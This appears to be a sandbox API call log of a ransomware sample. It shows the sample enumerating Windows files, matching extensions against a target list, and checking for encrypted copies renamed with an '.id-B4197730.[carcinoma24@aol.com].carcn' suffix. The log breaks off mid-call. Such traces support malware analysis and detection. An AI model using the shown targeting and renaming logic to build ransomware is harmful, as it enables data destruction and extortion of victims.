[0291.745] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0291.745] lstrlenW (lpString=".rar") returned 4 [0291.745] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0291.746] lstrlenW (lpString=".bz2") returned 4 [0291.746] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0291.746] lstrlenW (lpString=".7z") returned 3 [0291.746] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0291.746] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.746] lstrlenW (lpString=".dbf") returned 4 [0291.746] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0291.746] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.746] lstrlenW (lpString=".1cd") returned 4 [0291.746] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0291.746] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0291.746] lstrlenW (lpString=".jpg") returned 4 [0291.746] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0291.746] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0291.746] lstrlenW (lpString="Alphabet.xml") returned 12 [0291.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0291.747] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=791421) returned 1 [0291.747] CloseHandle (hObject=0x33c) returned 1 [0291.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0291.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.747] lstrlenW (lpString=".doc") returned 4 [0291.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0291.747] lstrlenW (lpString=".docx") returned 5 [0291.747] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0291.747] lstrlenW (lpString=".pdf") returned 4 [0291.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0291.747] lstrlenW (lpString=".xls") returned 4 [0291.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0291.747] lstrlenW (lpString=".xlsx") returned 5 [0291.747] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0291.747] lstrlenW (lpString=".ppt") returned 4 [0291.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0291.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.747] lstrlenW (lpString=".zip") returned 4 [0291.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0291.747] lstrlenW (lpString=".rar") returned 4 [0291.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".bz2") returned 4 [0291.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".7z") returned 3 [0291.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString=".dbf") returned 4 [0291.748] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString=".1cd") returned 4 [0291.748] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString=".jpg") returned 4 [0291.748] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString=".doc") returned 4 [0291.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".docx") returned 5 [0291.748] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0291.748] lstrlenW (lpString=".pdf") returned 4 [0291.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".xls") returned 4 [0291.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".xlsx") returned 5 [0291.748] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0291.748] lstrlenW (lpString=".ppt") returned 4 [0291.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.748] lstrlenW (lpString=".zip") returned 4 [0291.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0291.748] lstrlenW (lpString=".rar") returned 4 [0291.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0291.748] lstrlenW (lpString=".bz2") returned 4 [0291.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0291.749] lstrlenW (lpString=".7z") returned 3 [0291.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0291.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.749] lstrlenW (lpString=".dbf") returned 4 [0291.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0291.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.749] lstrlenW (lpString=".1cd") returned 4 [0291.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0291.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0291.749] lstrlenW (lpString=".jpg") returned 4 [0291.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0291.749] Sleep (dwMilliseconds=0x64) [0292.132] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.132] lstrlenW (lpString="boxed-join.avi") returned 14 [0292.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.367] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=46622) returned 1 [0292.367] CloseHandle (hObject=0x364) returned 1 [0292.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0292.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.368] lstrlenW (lpString=".doc") returned 4 [0292.368] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.368] lstrlenW (lpString=".docx") returned 5 [0292.368] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0292.368] lstrlenW (lpString=".pdf") returned 4 [0292.368] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.368] lstrlenW (lpString=".xls") returned 4 [0292.368] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.368] lstrlenW (lpString=".xlsx") returned 5 [0292.368] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0292.368] lstrlenW (lpString=".ppt") returned 4 [0292.368] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString=".zip") returned 4 [0292.369] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString=".rar") returned 4 [0292.369] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString=".bz2") returned 4 [0292.369] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString=".7z") returned 3 [0292.369] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString=".dbf") returned 4 [0292.369] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString=".1cd") returned 4 [0292.369] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString=".jpg") returned 4 [0292.369] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.369] lstrlenW (lpString=".doc") returned 4 [0292.369] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString=".docx") returned 5 [0292.369] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0292.369] lstrlenW (lpString=".pdf") returned 4 [0292.369] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.369] lstrlenW (lpString=".xls") returned 4 [0292.369] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString=".xlsx") returned 5 [0292.370] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0292.370] lstrlenW (lpString=".ppt") returned 4 [0292.370] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.370] lstrlenW (lpString=".zip") returned 4 [0292.370] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString=".rar") returned 4 [0292.370] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString=".bz2") returned 4 [0292.370] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString=".7z") returned 3 [0292.370] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.370] lstrlenW (lpString=".dbf") returned 4 [0292.370] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.370] lstrlenW (lpString=".1cd") returned 4 [0292.370] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0292.370] lstrlenW (lpString=".jpg") returned 4 [0292.370] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.370] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.371] lstrlenW (lpString="boxed-split.avi") returned 15 [0292.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.371] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=84190) returned 1 [0292.371] CloseHandle (hObject=0x364) returned 1 [0292.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0292.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.372] lstrlenW (lpString=".doc") returned 4 [0292.372] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".docx") returned 5 [0292.372] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.372] lstrlenW (lpString=".pdf") returned 4 [0292.372] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".xls") returned 4 [0292.372] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".xlsx") returned 5 [0292.372] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.372] lstrlenW (lpString=".ppt") returned 4 [0292.372] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.372] lstrlenW (lpString=".zip") returned 4 [0292.372] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".rar") returned 4 [0292.372] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".bz2") returned 4 [0292.372] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.372] lstrlenW (lpString=".7z") returned 3 [0292.372] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.373] lstrlenW (lpString=".dbf") returned 4 [0292.373] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.373] lstrlenW (lpString=".1cd") returned 4 [0292.373] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.373] lstrlenW (lpString=".jpg") returned 4 [0292.373] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.373] lstrlenW (lpString=".doc") returned 4 [0292.373] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.373] lstrlenW (lpString=".docx") returned 5 [0292.373] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.373] lstrlenW (lpString=".pdf") returned 4 [0292.373] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.373] lstrlenW (lpString=".xls") returned 4 [0292.373] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.373] lstrlenW (lpString=".xlsx") returned 5 [0292.373] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.373] lstrlenW (lpString=".ppt") returned 4 [0292.373] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.374] lstrlenW (lpString=".zip") returned 4 [0292.374] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.374] lstrlenW (lpString=".rar") returned 4 [0292.374] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.374] lstrlenW (lpString=".bz2") returned 4 [0292.374] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.374] lstrlenW (lpString=".7z") returned 3 [0292.374] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.374] lstrlenW (lpString=".dbf") returned 4 [0292.374] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.374] lstrlenW (lpString=".1cd") returned 4 [0292.374] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0292.374] lstrlenW (lpString=".jpg") returned 4 [0292.374] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.374] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.374] lstrlenW (lpString="correct.avi") returned 11 [0292.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.375] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=180172) returned 1 [0292.375] CloseHandle (hObject=0x364) returned 1 [0292.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0292.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.375] lstrlenW (lpString=".doc") returned 4 [0292.375] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".docx") returned 5 [0292.376] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.376] lstrlenW (lpString=".pdf") returned 4 [0292.376] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".xls") returned 4 [0292.376] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".xlsx") returned 5 [0292.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.376] lstrlenW (lpString=".ppt") returned 4 [0292.376] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.376] lstrlenW (lpString=".zip") returned 4 [0292.376] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".rar") returned 4 [0292.376] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".bz2") returned 4 [0292.376] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString=".7z") returned 3 [0292.376] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.376] lstrlenW (lpString=".dbf") returned 4 [0292.376] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.376] lstrlenW (lpString=".1cd") returned 4 [0292.376] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.376] lstrlenW (lpString=".jpg") returned 4 [0292.376] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.377] lstrlenW (lpString=".doc") returned 4 [0292.377] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.377] lstrlenW (lpString=".docx") returned 5 [0292.377] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0292.377] lstrlenW (lpString=".pdf") returned 4 [0292.377] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.377] lstrlenW (lpString=".xls") returned 4 [0292.377] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.377] lstrlenW (lpString=".xlsx") returned 5 [0292.377] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0292.378] lstrlenW (lpString=".ppt") returned 4 [0292.378] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0292.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.378] lstrlenW (lpString=".zip") returned 4 [0292.378] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0292.378] lstrlenW (lpString=".rar") returned 4 [0292.378] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0292.378] lstrlenW (lpString=".bz2") returned 4 [0292.378] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0292.378] lstrlenW (lpString=".7z") returned 3 [0292.378] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0292.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.378] lstrlenW (lpString=".dbf") returned 4 [0292.378] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0292.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.378] lstrlenW (lpString=".1cd") returned 4 [0292.378] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0292.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0292.378] lstrlenW (lpString=".jpg") returned 4 [0292.378] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0292.379] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.379] lstrlenW (lpString="delete.avi") returned 10 [0292.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.379] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=208408) returned 1 [0292.379] CloseHandle (hObject=0x364) returned 1 [0292.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0292.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0292.380] lstrlenW (lpString=".doc") returned 4 [0292.380] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".docx") returned 5 [0292.380] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0292.380] lstrlenW (lpString=".pdf") returned 4 [0292.380] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".xls") returned 4 [0292.380] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.380] lstrlenW (lpString=".xlsx") returned 5 [0292.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0292.380] lstrlenW (lpString=".ppt") returned 4 [0292.380] lstrcmpiW (lpString1=".ppt", 